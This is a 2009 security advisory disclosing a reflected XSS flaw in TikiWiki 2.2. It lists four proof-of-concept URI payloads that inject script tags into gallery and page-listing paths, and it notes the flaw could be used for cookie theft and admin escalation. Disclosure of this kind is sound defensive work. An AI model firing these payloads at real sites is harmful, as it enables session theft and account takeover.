TikiWiki 2.2 XSS Vulnerability in URI
Application: TikiWiki
Version: 2.2 (latest)
Website: www.tikiwiki.org
Bug: Active XSS in URI
Exploitation: Remote
Date: 12 Mar 2009
Discovered by: iliz
Author: iliz
Contact: e-mail: iliz-z(at)yandex(dot)ru
Bug Description:
TikiWiki version 2.2 and later uses URI in html response body and fails to
sanitize it. Is therefore prune to Active XSS attack.
PROOF OF CONCEPT:
/tiki-galleries.php/>"><Script>alert(1)</scRipt>
/tiki-list_file_gallery.php/>"><Script>alert(2)</scRipt>
/tiki-listpages.php/>"><Script>alert(3)</scRipt>
/tiki-orphan_pages.php/>"><Script>alert(4)</scRipt>
The javascript code will be executed in the context of the victim's
browser, this can be exploited to steal cookies and escalate
privileges to administrator.
Tested with TikiWiki 2.2, Apache 2.2, Mozilla Firefox 3.0.6, InternetExplorer
7, Opera 9.65